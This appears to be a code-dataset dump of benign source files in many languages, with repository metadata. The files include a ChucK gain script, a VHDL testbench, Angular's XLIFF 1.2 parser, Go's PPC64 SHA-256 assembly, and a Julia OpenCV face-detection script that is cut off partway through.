content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
|---|---|---|---|---|---|
/*
* Script for playing with audio gain
*/
SndBuf instrument;
me.dir() + "/subway/instruments/clarinet_Gs4_025_piano_normal.wav" => instrument.read;
instrument.samples() => instrument.pos;
instrument => dac;
250 => int interval;
0.02 => float min_gain;
0.4 => float max_gain;
0.05 => float gain_step;
((max_gain-min_gain)/gain_step) $ int => int steps;
while(true) {
for( 0 => int i; i < steps; i++ ) {
gain_step * i + min_gain => float gain;
0 => instrument.pos;
gain => instrument.gain;
1 => instrument.rate;
interval::ms => now;
}
for( steps-1 => int i; i >= 0; i-- ) {
gain_step * i + min_gain => float gain;
0 => instrument.pos;
gain => instrument.gain;
1 => instrument.rate;
interval::ms => now;
}
}
<<< "Done." >>>;
| ChucK | 4 | beefoo/music-lab-scripts | sandbox/gain.ck | [
"MIT"
] |
SELECT (1 AS ?X )
{
SELECT (2 AS ?X ) {}
}
| SPARQL | 2 | alpano-unibz/ontop | test/sparql-compliance/src/test/resources/testcases-dawg-sparql-1.1/syntax-query/syntax-SELECTscope2.rq | [
"Apache-2.0"
] |
----------------------------------------------------------------------------------
-- Company:
-- Engineer:
--
-- Create Date: 23.05.2016 06:48:08
-- Design Name:
-- Module Name: tb_defragment_and_check_crc - Behavioral
-- Project Name:
-- Target Devices:
-- Tool Versions:
-- Description:
--
-- Dependencies:
--
-- Revision:
-- Revision 0.01 - File Created
-- Additional Comments:
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use IEEE.NUMERIC_STD.ALL;
-- Uncomment the following library declaration if instantiating
-- any Xilinx leaf cells in this code.
--library UNISIM;
--use UNISIM.VComponents.all;
entity tb_defragment_and_check_crc is
Port ( a : in STD_LOGIC);
end tb_defragment_and_check_crc;
architecture Behavioral of tb_defragment_and_check_crc is
component defragment_and_check_crc is
Port ( clk : in STD_LOGIC;
input_data_enable : in STD_LOGIC;
input_data : in STD_LOGIC_VECTOR (7 downto 0);
input_data_present : in STD_LOGIC;
input_data_error : in STD_LOGIC;
packet_data_valid : out STD_LOGIC;
packet_data : out STD_LOGIC_VECTOR (7 downto 0));
end component;
signal count : unsigned (7 downto 0) := "00000000";
signal clk : std_logic := '0';
signal spaced_out_data_enable : std_logic := '0';
signal spaced_out_data : std_logic_vector(7 downto 0);
signal spaced_out_data_present : std_logic := '0';
signal spaced_out_data_error : std_logic := '0';
signal packet_data_valid : std_logic := '0';
signal packet_data : std_logic_vector(7 downto 0) := (others => '0');
begin
process
begin
wait for 5 ns;
clk <= not clk;
end process;
process(clk)
begin
if rising_edge(clk) then
-- if count(1 downto 0) = "000" then
spaced_out_data <= "000" & std_logic_vector(count(4 downto 0));
spaced_out_data_enable <= '1';
if count(4 downto 0) = "00000" then
spaced_out_data_enable <= '0';
spaced_out_data_present <= '0';
elsif count(4 downto 0) = "11111" then
spaced_out_data_enable <= '1';
spaced_out_data_present <= '0';
else
spaced_out_data_enable <= '1';
spaced_out_data_present <= '1';
end if;
-- else
-- spaced_out_data <= "00000000";
-- spaced_out_data_present <= '0';
-- end if;
count <= count + 1;
end if;
end process;
uut: defragment_and_check_crc port map (
clk => clk,
input_data_enable => spaced_out_data_enable,
input_data => spaced_out_data,
input_data_present => spaced_out_data_present,
input_data_error => spaced_out_data_error,
packet_data_valid => packet_data_valid,
packet_data => packet_data);
end Behavioral;
| VHDL | 4 | hamsternz/FPGA_Webserver | testbenches/tb_defragment_and_check_crc.vhd | [
"MIT"
] |
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
import {Element, ParseErrorLevel, visitAll} from '@angular/compiler';
import {Diagnostics} from '../../../diagnostics';
import {BaseVisitor} from '../base_visitor';
import {serializeTranslationMessage} from './serialize_translation_message';
import {ParseAnalysis, ParsedTranslationBundle, TranslationParser} from './translation_parser';
import {addErrorsToBundle, addParseDiagnostic, addParseError, canParseXml, getAttribute, isNamedElement, XmlTranslationParserHint} from './translation_utils';
/**
* A translation parser that can load XLIFF 1.2 files.
*
* https://docs.oasis-open.org/xliff/v1.2/os/xliff-core.html
* https://docs.oasis-open.org/xliff/v1.2/xliff-profile-html/xliff-profile-html-1.2.html
*
* @see Xliff1TranslationSerializer
* @publicApi used by CLI
*/
export class Xliff1TranslationParser implements TranslationParser<XmlTranslationParserHint> {
/**
* @deprecated
*/
canParse(filePath: string, contents: string): XmlTranslationParserHint|false {
const result = this.analyze(filePath, contents);
return result.canParse && result.hint;
}
analyze(filePath: string, contents: string): ParseAnalysis<XmlTranslationParserHint> {
return canParseXml(filePath, contents, 'xliff', {version: '1.2'});
}
parse(filePath: string, contents: string, hint?: XmlTranslationParserHint):
ParsedTranslationBundle {
if (hint) {
return this.extractBundle(hint);
} else {
return this.extractBundleDeprecated(filePath, contents);
}
}
private extractBundle({element, errors}: XmlTranslationParserHint): ParsedTranslationBundle {
const diagnostics = new Diagnostics();
errors.forEach(e => addParseError(diagnostics, e));
if (element.children.length === 0) {
addParseDiagnostic(
diagnostics, element.sourceSpan, 'Missing expected <file> element',
ParseErrorLevel.WARNING);
return {locale: undefined, translations: {}, diagnostics};
}
const files = element.children.filter(isNamedElement('file'));
if (files.length === 0) {
addParseDiagnostic(
diagnostics, element.sourceSpan, 'No <file> elements found in <xliff>',
ParseErrorLevel.WARNING);
} else if (files.length > 1) {
addParseDiagnostic(
diagnostics, files[1].sourceSpan, 'More than one <file> element found in <xliff>',
ParseErrorLevel.WARNING);
}
const bundle: ParsedTranslationBundle = {locale: undefined, translations: {}, diagnostics};
const translationVisitor = new XliffTranslationVisitor();
const localesFound = new Set<string>();
for (const file of files) {
const locale = getAttribute(file, 'target-language');
if (locale !== undefined) {
localesFound.add(locale);
bundle.locale = locale;
}
visitAll(translationVisitor, file.children, bundle);
}
if (localesFound.size > 1) {
addParseDiagnostic(
diagnostics, element.sourceSpan,
`More than one locale found in translation file: ${
JSON.stringify(Array.from(localesFound))}. Using "${bundle.locale}"`,
ParseErrorLevel.WARNING);
}
return bundle;
}
private extractBundleDeprecated(filePath: string, contents: string) {
const hint = this.canParse(filePath, contents);
if (!hint) {
throw new Error(`Unable to parse "${filePath}" as XLIFF 1.2 format.`);
}
const bundle = this.extractBundle(hint);
if (bundle.diagnostics.hasErrors) {
const message =
bundle.diagnostics.formatDiagnostics(`Failed to parse "${filePath}" as XLIFF 1.2 format`);
throw new Error(message);
}
return bundle;
}
}
class XliffFileElementVisitor extends BaseVisitor {
override visitElement(fileElement: Element): any {
if (fileElement.name === 'file') {
return {fileElement, locale: getAttribute(fileElement, 'target-language')};
}
}
}
class XliffTranslationVisitor extends BaseVisitor {
override visitElement(element: Element, bundle: ParsedTranslationBundle): void {
if (element.name === 'trans-unit') {
this.visitTransUnitElement(element, bundle);
} else {
visitAll(this, element.children, bundle);
}
}
private visitTransUnitElement(element: Element, bundle: ParsedTranslationBundle): void {
// Error if no `id` attribute
const id = getAttribute(element, 'id');
if (id === undefined) {
addParseDiagnostic(
bundle.diagnostics, element.sourceSpan,
`Missing required "id" attribute on <trans-unit> element.`, ParseErrorLevel.ERROR);
return;
}
// Error if there is already a translation with the same id
if (bundle.translations[id] !== undefined) {
addParseDiagnostic(
bundle.diagnostics, element.sourceSpan, `Duplicated translations for message "${id}"`,
ParseErrorLevel.ERROR);
return;
}
let targetMessage = element.children.find(isNamedElement('target'));
if (targetMessage === undefined) {
// Warn if there is no `<target>` child element
addParseDiagnostic(
bundle.diagnostics, element.sourceSpan, 'Missing <target> element',
ParseErrorLevel.WARNING);
// Fallback to the `<source>` element if available.
targetMessage = element.children.find(isNamedElement('source'));
if (targetMessage === undefined) {
// Error if there is neither `<target>` nor `<source>`.
addParseDiagnostic(
bundle.diagnostics, element.sourceSpan,
'Missing required element: one of <target> or <source> is required',
ParseErrorLevel.ERROR);
return;
}
}
const {translation, parseErrors, serializeErrors} = serializeTranslationMessage(targetMessage, {
inlineElements: ['g', 'bx', 'ex', 'bpt', 'ept', 'ph', 'it', 'mrk'],
placeholder: {elementName: 'x', nameAttribute: 'id'}
});
if (translation !== null) {
bundle.translations[id] = translation;
}
addErrorsToBundle(bundle, parseErrors);
addErrorsToBundle(bundle, serializeErrors);
}
}
| TypeScript | 5 | John-Cassidy/angular | packages/localize/tools/src/translate/translation_files/translation_parsers/xliff1_translation_parser.ts | [
"MIT"
] |
FROM golang:1.8
ADD auto-pause-hook /auto-pause-hook
| Dockerfile | 2 | skyplaying/minikube | deploy/addons/auto-pause/Dockerfile | [
"Apache-2.0"
] |
<html>
<body>
<div class="outside-shadow-dom">
<div class="outside-shadow-dom">
<div class="shadow-host"></div>
</div>
</div>
<script>
document
.querySelector('.shadow-host')
.attachShadow({ mode: 'open' })
.innerHTML = '<div class="in-shadow-dom">In the Shadow DOM</div>'
</script>
</body>
</html>
| HTML | 4 | justinforbes/cypress | system-tests/projects/shadow-dom-global-inclusion/cypress/fixtures/shadow-dom.html | [
"MIT"
] |
## Make.bison
bison:
$(MAKE) PROG=bison _gnu \
JTL_TESTS_BOGUS=2.4.2
| Bison | 1 | pdh11/jtl | Make.bison | [
"Unlicense"
] |
// Regression test for #22886.
fn crash_please() {
let mut iter = Newtype(Some(Box::new(0)));
let saved = iter.next().unwrap();
println!("{}", saved);
iter.0 = None;
println!("{}", saved);
}
struct Newtype(Option<Box<usize>>);
impl<'a> Iterator for Newtype { //~ ERROR E0207
type Item = &'a Box<usize>;
fn next(&mut self) -> Option<&Box<usize>> {
self.0.as_ref()
}
}
fn main() { }
| Rust | 3 | Eric-Arellano/rust | src/test/ui/issues/issue-22886.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<!-- $myVar? = something -->
| Kit | 0 | jeremyworboys/node-kit | test/fixtures/optionalVariableAssignment.kit | [
"MIT"
] |
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Based on CRYPTOGAMS code with the following comment:
// # ====================================================================
// # Written by Andy Polyakov <[email protected]> for the OpenSSL
// # project. The module is, however, dual licensed under OpenSSL and
// # CRYPTOGAMS licenses depending on where you obtain it. For further
// # details see http://www.openssl.org/~appro/cryptogams/.
// # ====================================================================
#include "textflag.h"
// SHA256 block routine. See sha256block.go for Go equivalent.
//
// The algorithm is detailed in FIPS 180-4:
//
// https://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf
//
// Wt = Mt; for 0 <= t <= 15
// Wt = SIGMA1(Wt-2) + SIGMA0(Wt-15) + Wt-16; for 16 <= t <= 63
//
// a = H0
// b = H1
// c = H2
// d = H3
// e = H4
// f = H5
// g = H6
// h = H7
//
// for t = 0 to 63 {
// T1 = h + BIGSIGMA1(e) + Ch(e,f,g) + Kt + Wt
// T2 = BIGSIGMA0(a) + Maj(a,b,c)
// h = g
// g = f
// f = e
// e = d + T1
// d = c
// c = b
// b = a
// a = T1 + T2
// }
//
// H0 = a + H0
// H1 = b + H1
// H2 = c + H2
// H3 = d + H3
// H4 = e + H4
// H5 = f + H5
// H6 = g + H6
// H7 = h + H7
#define CTX R3
#define INP R4
#define END R5
#define TBL R6
#define IDX R7
#define CNT R8
#define LEN R9
#define OFFLOAD R11
#define TEMP R12
#define HEX00 R0
#define HEX10 R10
#define HEX20 R25
#define HEX30 R26
#define HEX40 R27
#define HEX50 R28
#define HEX60 R29
#define HEX70 R31
// V0-V7 are A-H
// V8-V23 are used for the message schedule
#define KI V24
#define FUNC V25
#define S0 V26
#define S1 V27
#define s0 V28
#define s1 V29
#define LEMASK V31 // Permutation control register for little endian
// 4 copies of each Kt, to fill all 4 words of a vector register
DATA ·kcon+0x000(SB)/8, $0x428a2f98428a2f98
DATA ·kcon+0x008(SB)/8, $0x428a2f98428a2f98
DATA ·kcon+0x010(SB)/8, $0x7137449171374491
DATA ·kcon+0x018(SB)/8, $0x7137449171374491
DATA ·kcon+0x020(SB)/8, $0xb5c0fbcfb5c0fbcf
DATA ·kcon+0x028(SB)/8, $0xb5c0fbcfb5c0fbcf
DATA ·kcon+0x030(SB)/8, $0xe9b5dba5e9b5dba5
DATA ·kcon+0x038(SB)/8, $0xe9b5dba5e9b5dba5
DATA ·kcon+0x040(SB)/8, $0x3956c25b3956c25b
DATA ·kcon+0x048(SB)/8, $0x3956c25b3956c25b
DATA ·kcon+0x050(SB)/8, $0x59f111f159f111f1
DATA ·kcon+0x058(SB)/8, $0x59f111f159f111f1
DATA ·kcon+0x060(SB)/8, $0x923f82a4923f82a4
DATA ·kcon+0x068(SB)/8, $0x923f82a4923f82a4
DATA ·kcon+0x070(SB)/8, $0xab1c5ed5ab1c5ed5
DATA ·kcon+0x078(SB)/8, $0xab1c5ed5ab1c5ed5
DATA ·kcon+0x080(SB)/8, $0xd807aa98d807aa98
DATA ·kcon+0x088(SB)/8, $0xd807aa98d807aa98
DATA ·kcon+0x090(SB)/8, $0x12835b0112835b01
DATA ·kcon+0x098(SB)/8, $0x12835b0112835b01
DATA ·kcon+0x0A0(SB)/8, $0x243185be243185be
DATA ·kcon+0x0A8(SB)/8, $0x243185be243185be
DATA ·kcon+0x0B0(SB)/8, $0x550c7dc3550c7dc3
DATA ·kcon+0x0B8(SB)/8, $0x550c7dc3550c7dc3
DATA ·kcon+0x0C0(SB)/8, $0x72be5d7472be5d74
DATA ·kcon+0x0C8(SB)/8, $0x72be5d7472be5d74
DATA ·kcon+0x0D0(SB)/8, $0x80deb1fe80deb1fe
DATA ·kcon+0x0D8(SB)/8, $0x80deb1fe80deb1fe
DATA ·kcon+0x0E0(SB)/8, $0x9bdc06a79bdc06a7
DATA ·kcon+0x0E8(SB)/8, $0x9bdc06a79bdc06a7
DATA ·kcon+0x0F0(SB)/8, $0xc19bf174c19bf174
DATA ·kcon+0x0F8(SB)/8, $0xc19bf174c19bf174
DATA ·kcon+0x100(SB)/8, $0xe49b69c1e49b69c1
DATA ·kcon+0x108(SB)/8, $0xe49b69c1e49b69c1
DATA ·kcon+0x110(SB)/8, $0xefbe4786efbe4786
DATA ·kcon+0x118(SB)/8, $0xefbe4786efbe4786
DATA ·kcon+0x120(SB)/8, $0x0fc19dc60fc19dc6
DATA ·kcon+0x128(SB)/8, $0x0fc19dc60fc19dc6
DATA ·kcon+0x130(SB)/8, $0x240ca1cc240ca1cc
DATA ·kcon+0x138(SB)/8, $0x240ca1cc240ca1cc
DATA ·kcon+0x140(SB)/8, $0x2de92c6f2de92c6f
DATA ·kcon+0x148(SB)/8, $0x2de92c6f2de92c6f
DATA ·kcon+0x150(SB)/8, $0x4a7484aa4a7484aa
DATA ·kcon+0x158(SB)/8, $0x4a7484aa4a7484aa
DATA ·kcon+0x160(SB)/8, $0x5cb0a9dc5cb0a9dc
DATA ·kcon+0x168(SB)/8, $0x5cb0a9dc5cb0a9dc
DATA ·kcon+0x170(SB)/8, $0x76f988da76f988da
DATA ·kcon+0x178(SB)/8, $0x76f988da76f988da
DATA ·kcon+0x180(SB)/8, $0x983e5152983e5152
DATA ·kcon+0x188(SB)/8, $0x983e5152983e5152
DATA ·kcon+0x190(SB)/8, $0xa831c66da831c66d
DATA ·kcon+0x198(SB)/8, $0xa831c66da831c66d
DATA ·kcon+0x1A0(SB)/8, $0xb00327c8b00327c8
DATA ·kcon+0x1A8(SB)/8, $0xb00327c8b00327c8
DATA ·kcon+0x1B0(SB)/8, $0xbf597fc7bf597fc7
DATA ·kcon+0x1B8(SB)/8, $0xbf597fc7bf597fc7
DATA ·kcon+0x1C0(SB)/8, $0xc6e00bf3c6e00bf3
DATA ·kcon+0x1C8(SB)/8, $0xc6e00bf3c6e00bf3
DATA ·kcon+0x1D0(SB)/8, $0xd5a79147d5a79147
DATA ·kcon+0x1D8(SB)/8, $0xd5a79147d5a79147
DATA ·kcon+0x1E0(SB)/8, $0x06ca635106ca6351
DATA ·kcon+0x1E8(SB)/8, $0x06ca635106ca6351
DATA ·kcon+0x1F0(SB)/8, $0x1429296714292967
DATA ·kcon+0x1F8(SB)/8, $0x1429296714292967
DATA ·kcon+0x200(SB)/8, $0x27b70a8527b70a85
DATA ·kcon+0x208(SB)/8, $0x27b70a8527b70a85
DATA ·kcon+0x210(SB)/8, $0x2e1b21382e1b2138
DATA ·kcon+0x218(SB)/8, $0x2e1b21382e1b2138
DATA ·kcon+0x220(SB)/8, $0x4d2c6dfc4d2c6dfc
DATA ·kcon+0x228(SB)/8, $0x4d2c6dfc4d2c6dfc
DATA ·kcon+0x230(SB)/8, $0x53380d1353380d13
DATA ·kcon+0x238(SB)/8, $0x53380d1353380d13
DATA ·kcon+0x240(SB)/8, $0x650a7354650a7354
DATA ·kcon+0x248(SB)/8, $0x650a7354650a7354
DATA ·kcon+0x250(SB)/8, $0x766a0abb766a0abb
DATA ·kcon+0x258(SB)/8, $0x766a0abb766a0abb
DATA ·kcon+0x260(SB)/8, $0x81c2c92e81c2c92e
DATA ·kcon+0x268(SB)/8, $0x81c2c92e81c2c92e
DATA ·kcon+0x270(SB)/8, $0x92722c8592722c85
DATA ·kcon+0x278(SB)/8, $0x92722c8592722c85
DATA ·kcon+0x280(SB)/8, $0xa2bfe8a1a2bfe8a1
DATA ·kcon+0x288(SB)/8, $0xa2bfe8a1a2bfe8a1
DATA ·kcon+0x290(SB)/8, $0xa81a664ba81a664b
DATA ·kcon+0x298(SB)/8, $0xa81a664ba81a664b
DATA ·kcon+0x2A0(SB)/8, $0xc24b8b70c24b8b70
DATA ·kcon+0x2A8(SB)/8, $0xc24b8b70c24b8b70
DATA ·kcon+0x2B0(SB)/8, $0xc76c51a3c76c51a3
DATA ·kcon+0x2B8(SB)/8, $0xc76c51a3c76c51a3
DATA ·kcon+0x2C0(SB)/8, $0xd192e819d192e819
DATA ·kcon+0x2C8(SB)/8, $0xd192e819d192e819
DATA ·kcon+0x2D0(SB)/8, $0xd6990624d6990624
DATA ·kcon+0x2D8(SB)/8, $0xd6990624d6990624
DATA ·kcon+0x2E0(SB)/8, $0xf40e3585f40e3585
DATA ·kcon+0x2E8(SB)/8, $0xf40e3585f40e3585
DATA ·kcon+0x2F0(SB)/8, $0x106aa070106aa070
DATA ·kcon+0x2F8(SB)/8, $0x106aa070106aa070
DATA ·kcon+0x300(SB)/8, $0x19a4c11619a4c116
DATA ·kcon+0x308(SB)/8, $0x19a4c11619a4c116
DATA ·kcon+0x310(SB)/8, $0x1e376c081e376c08
DATA ·kcon+0x318(SB)/8, $0x1e376c081e376c08
DATA ·kcon+0x320(SB)/8, $0x2748774c2748774c
DATA ·kcon+0x328(SB)/8, $0x2748774c2748774c
DATA ·kcon+0x330(SB)/8, $0x34b0bcb534b0bcb5
DATA ·kcon+0x338(SB)/8, $0x34b0bcb534b0bcb5
DATA ·kcon+0x340(SB)/8, $0x391c0cb3391c0cb3
DATA ·kcon+0x348(SB)/8, $0x391c0cb3391c0cb3
DATA ·kcon+0x350(SB)/8, $0x4ed8aa4a4ed8aa4a
DATA ·kcon+0x358(SB)/8, $0x4ed8aa4a4ed8aa4a
DATA ·kcon+0x360(SB)/8, $0x5b9cca4f5b9cca4f
DATA ·kcon+0x368(SB)/8, $0x5b9cca4f5b9cca4f
DATA ·kcon+0x370(SB)/8, $0x682e6ff3682e6ff3
DATA ·kcon+0x378(SB)/8, $0x682e6ff3682e6ff3
DATA ·kcon+0x380(SB)/8, $0x748f82ee748f82ee
DATA ·kcon+0x388(SB)/8, $0x748f82ee748f82ee
DATA ·kcon+0x390(SB)/8, $0x78a5636f78a5636f
DATA ·kcon+0x398(SB)/8, $0x78a5636f78a5636f
DATA ·kcon+0x3A0(SB)/8, $0x84c8781484c87814
DATA ·kcon+0x3A8(SB)/8, $0x84c8781484c87814
DATA ·kcon+0x3B0(SB)/8, $0x8cc702088cc70208
DATA ·kcon+0x3B8(SB)/8, $0x8cc702088cc70208
DATA ·kcon+0x3C0(SB)/8, $0x90befffa90befffa
DATA ·kcon+0x3C8(SB)/8, $0x90befffa90befffa
DATA ·kcon+0x3D0(SB)/8, $0xa4506ceba4506ceb
DATA ·kcon+0x3D8(SB)/8, $0xa4506ceba4506ceb
DATA ·kcon+0x3E0(SB)/8, $0xbef9a3f7bef9a3f7
DATA ·kcon+0x3E8(SB)/8, $0xbef9a3f7bef9a3f7
DATA ·kcon+0x3F0(SB)/8, $0xc67178f2c67178f2
DATA ·kcon+0x3F8(SB)/8, $0xc67178f2c67178f2
DATA ·kcon+0x400(SB)/8, $0x0000000000000000
DATA ·kcon+0x408(SB)/8, $0x0000000000000000
DATA ·kcon+0x410(SB)/8, $0x1011121310111213 // permutation control vectors
DATA ·kcon+0x418(SB)/8, $0x1011121300010203
DATA ·kcon+0x420(SB)/8, $0x1011121310111213
DATA ·kcon+0x428(SB)/8, $0x0405060700010203
DATA ·kcon+0x430(SB)/8, $0x1011121308090a0b
DATA ·kcon+0x438(SB)/8, $0x0405060700010203
GLOBL ·kcon(SB), RODATA, $1088
#define SHA256ROUND0(a, b, c, d, e, f, g, h, xi) \
VSEL g, f, e, FUNC; \
VSHASIGMAW $15, e, $1, S1; \
VADDUWM xi, h, h; \
VSHASIGMAW $0, a, $1, S0; \
VADDUWM FUNC, h, h; \
VXOR b, a, FUNC; \
VADDUWM S1, h, h; \
VSEL b, c, FUNC, FUNC; \
VADDUWM KI, g, g; \
VADDUWM h, d, d; \
VADDUWM FUNC, S0, S0; \
LVX (TBL)(IDX), KI; \
ADD $16, IDX; \
VADDUWM S0, h, h
#define SHA256ROUND1(a, b, c, d, e, f, g, h, xi, xj, xj_1, xj_9, xj_14) \
VSHASIGMAW $0, xj_1, $0, s0; \
VSEL g, f, e, FUNC; \
VSHASIGMAW $15, e, $1, S1; \
VADDUWM xi, h, h; \
VSHASIGMAW $0, a, $1, S0; \
VSHASIGMAW $15, xj_14, $0, s1; \
VADDUWM FUNC, h, h; \
VXOR b, a, FUNC; \
VADDUWM xj_9, xj, xj; \
VADDUWM S1, h, h; \
VSEL b, c, FUNC, FUNC; \
VADDUWM KI, g, g; \
VADDUWM h, d, d; \
VADDUWM FUNC, S0, S0; \
VADDUWM s0, xj, xj; \
LVX (TBL)(IDX), KI; \
ADD $16, IDX; \
VADDUWM S0, h, h; \
VADDUWM s1, xj, xj
// func block(dig *digest, p []byte)
TEXT ·block(SB),0,$128-32
MOVD dig+0(FP), CTX
MOVD p_base+8(FP), INP
MOVD p_len+16(FP), LEN
SRD $6, LEN
SLD $6, LEN
ADD INP, LEN, END
CMP INP, END
BEQ end
MOVD $·kcon(SB), TBL
MOVD R1, OFFLOAD
MOVD R0, CNT
MOVWZ $0x10, HEX10
MOVWZ $0x20, HEX20
MOVWZ $0x30, HEX30
MOVWZ $0x40, HEX40
MOVWZ $0x50, HEX50
MOVWZ $0x60, HEX60
MOVWZ $0x70, HEX70
MOVWZ $8, IDX
LVSL (IDX)(R0), LEMASK
VSPLTISB $0x0F, KI
VXOR KI, LEMASK, LEMASK
LXVW4X (CTX)(HEX00), VS32 // v0 = vs32
LXVW4X (CTX)(HEX10), VS36 // v4 = vs36
// unpack the input values into vector registers
VSLDOI $4, V0, V0, V1
VSLDOI $8, V0, V0, V2
VSLDOI $12, V0, V0, V3
VSLDOI $4, V4, V4, V5
VSLDOI $8, V4, V4, V6
VSLDOI $12, V4, V4, V7
loop:
LVX (TBL)(HEX00), KI
MOVWZ $16, IDX
LXVD2X (INP)(R0), VS40 // load v8 (=vs40) in advance
ADD $16, INP
STVX V0, (OFFLOAD+HEX00)
STVX V1, (OFFLOAD+HEX10)
STVX V2, (OFFLOAD+HEX20)
STVX V3, (OFFLOAD+HEX30)
STVX V4, (OFFLOAD+HEX40)
STVX V5, (OFFLOAD+HEX50)
STVX V6, (OFFLOAD+HEX60)
STVX V7, (OFFLOAD+HEX70)
VADDUWM KI, V7, V7 // h+K[i]
LVX (TBL)(IDX), KI
ADD $16, IDX
VPERM V8, V8, LEMASK, V8
SHA256ROUND0(V0, V1, V2, V3, V4, V5, V6, V7, V8)
VSLDOI $4, V8, V8, V9
SHA256ROUND0(V7, V0, V1, V2, V3, V4, V5, V6, V9)
VSLDOI $4, V9, V9, V10
SHA256ROUND0(V6, V7, V0, V1, V2, V3, V4, V5, V10)
LXVD2X (INP)(R0), VS44 // load v12 (=vs44) in advance
ADD $16, INP, INP
VSLDOI $4, V10, V10, V11
SHA256ROUND0(V5, V6, V7, V0, V1, V2, V3, V4, V11)
VPERM V12, V12, LEMASK, V12
SHA256ROUND0(V4, V5, V6, V7, V0, V1, V2, V3, V12)
VSLDOI $4, V12, V12, V13
SHA256ROUND0(V3, V4, V5, V6, V7, V0, V1, V2, V13)
VSLDOI $4, V13, V13, V14
SHA256ROUND0(V2, V3, V4, V5, V6, V7, V0, V1, V14)
LXVD2X (INP)(R0), VS48 // load v16 (=vs48) in advance
ADD $16, INP, INP
VSLDOI $4, V14, V14, V15
SHA256ROUND0(V1, V2, V3, V4, V5, V6, V7, V0, V15)
VPERM V16, V16, LEMASK, V16
SHA256ROUND0(V0, V1, V2, V3, V4, V5, V6, V7, V16)
VSLDOI $4, V16, V16, V17
SHA256ROUND0(V7, V0, V1, V2, V3, V4, V5, V6, V17)
VSLDOI $4, V17, V17, V18
SHA256ROUND0(V6, V7, V0, V1, V2, V3, V4, V5, V18)
VSLDOI $4, V18, V18, V19
LXVD2X (INP)(R0), VS52 // load v20 (=vs52) in advance
ADD $16, INP, INP
SHA256ROUND0(V5, V6, V7, V0, V1, V2, V3, V4, V19)
VPERM V20, V20, LEMASK, V20
SHA256ROUND0(V4, V5, V6, V7, V0, V1, V2, V3, V20)
VSLDOI $4, V20, V20, V21
SHA256ROUND0(V3, V4, V5, V6, V7, V0, V1, V2, V21)
VSLDOI $4, V21, V21, V22
SHA256ROUND0(V2, V3, V4, V5, V6, V7, V0, V1, V22)
VSLDOI $4, V22, V22, V23
SHA256ROUND1(V1, V2, V3, V4, V5, V6, V7, V0, V23, V8, V9, V17, V22)
MOVWZ $3, TEMP
MOVWZ TEMP, CTR
L16_xx:
SHA256ROUND1(V0, V1, V2, V3, V4, V5, V6, V7, V8, V9, V10, V18, V23)
SHA256ROUND1(V7, V0, V1, V2, V3, V4, V5, V6, V9, V10, V11, V19, V8)
SHA256ROUND1(V6, V7, V0, V1, V2, V3, V4, V5, V10, V11, V12, V20, V9)
SHA256ROUND1(V5, V6, V7, V0, V1, V2, V3, V4, V11, V12, V13, V21, V10)
SHA256ROUND1(V4, V5, V6, V7, V0, V1, V2, V3, V12, V13, V14, V22, V11)
SHA256ROUND1(V3, V4, V5, V6, V7, V0, V1, V2, V13, V14, V15, V23, V12)
SHA256ROUND1(V2, V3, V4, V5, V6, V7, V0, V1, V14, V15, V16, V8, V13)
SHA256ROUND1(V1, V2, V3, V4, V5, V6, V7, V0, V15, V16, V17, V9, V14)
SHA256ROUND1(V0, V1, V2, V3, V4, V5, V6, V7, V16, V17, V18, V10, V15)
SHA256ROUND1(V7, V0, V1, V2, V3, V4, V5, V6, V17, V18, V19, V11, V16)
SHA256ROUND1(V6, V7, V0, V1, V2, V3, V4, V5, V18, V19, V20, V12, V17)
SHA256ROUND1(V5, V6, V7, V0, V1, V2, V3, V4, V19, V20, V21, V13, V18)
SHA256ROUND1(V4, V5, V6, V7, V0, V1, V2, V3, V20, V21, V22, V14, V19)
SHA256ROUND1(V3, V4, V5, V6, V7, V0, V1, V2, V21, V22, V23, V15, V20)
SHA256ROUND1(V2, V3, V4, V5, V6, V7, V0, V1, V22, V23, V8, V16, V21)
SHA256ROUND1(V1, V2, V3, V4, V5, V6, V7, V0, V23, V8, V9, V17, V22)
BC 0x10, 0, L16_xx // bdnz
LVX (OFFLOAD)(HEX00), V10
LVX (OFFLOAD)(HEX10), V11
VADDUWM V10, V0, V0
LVX (OFFLOAD)(HEX20), V12
VADDUWM V11, V1, V1
LVX (OFFLOAD)(HEX30), V13
VADDUWM V12, V2, V2
LVX (OFFLOAD)(HEX40), V14
VADDUWM V13, V3, V3
LVX (OFFLOAD)(HEX50), V15
VADDUWM V14, V4, V4
LVX (OFFLOAD)(HEX60), V16
VADDUWM V15, V5, V5
LVX (OFFLOAD)(HEX70), V17
VADDUWM V16, V6, V6
VADDUWM V17, V7, V7
CMPU INP, END
BLT loop
LVX (TBL)(IDX), V8
ADD $16, IDX
VPERM V0, V1, KI, V0
LVX (TBL)(IDX), V9
VPERM V4, V5, KI, V4
VPERM V0, V2, V8, V0
VPERM V4, V6, V8, V4
VPERM V0, V3, V9, V0
VPERM V4, V7, V9, V4
STXVD2X VS32, (CTX+HEX00) // v0 = vs32
STXVD2X VS36, (CTX+HEX10) // v4 = vs36
end:
RET
| GAS | 5 | Havoc-OS/androidprebuilts_go_linux-x86 | src/crypto/sha256/sha256block_ppc64le.s | [
"BSD-3-Clause"
] |
using OpenCV
const cv = OpenCV
size0 = Int32(300)
# take the model from https://github.com/opencv/opencv_extra/tree/master/testdata/dnn
net = cv.dnn_DetectionModel("opencv_face_detector.pbtxt", "opencv_face_detector_uint8.pb")
cv.dnn.setPreferableTarget(net, cv.dnn.DNN_TARGET_CPU)
cv.dnn.setInputMean(net, (104, 177, 123))
cv.dnn.setInputScale(net, 1.)
cv.dnn.setInputSize(net, size0, size0)
cap = cv.VideoCapture(Int32(0))
while true
ok, frame = cv.read(cap)
if ok == false
break
end
classIds, confidences, boxes = cv.dnn.detect(net, frame, confThreshold=Float32(0.5))
for i in 1:size(boxes,1)
confidence = confidences[i]
x0 = Int32(boxes[i].x)
y0 = Int32(boxes[i].y)
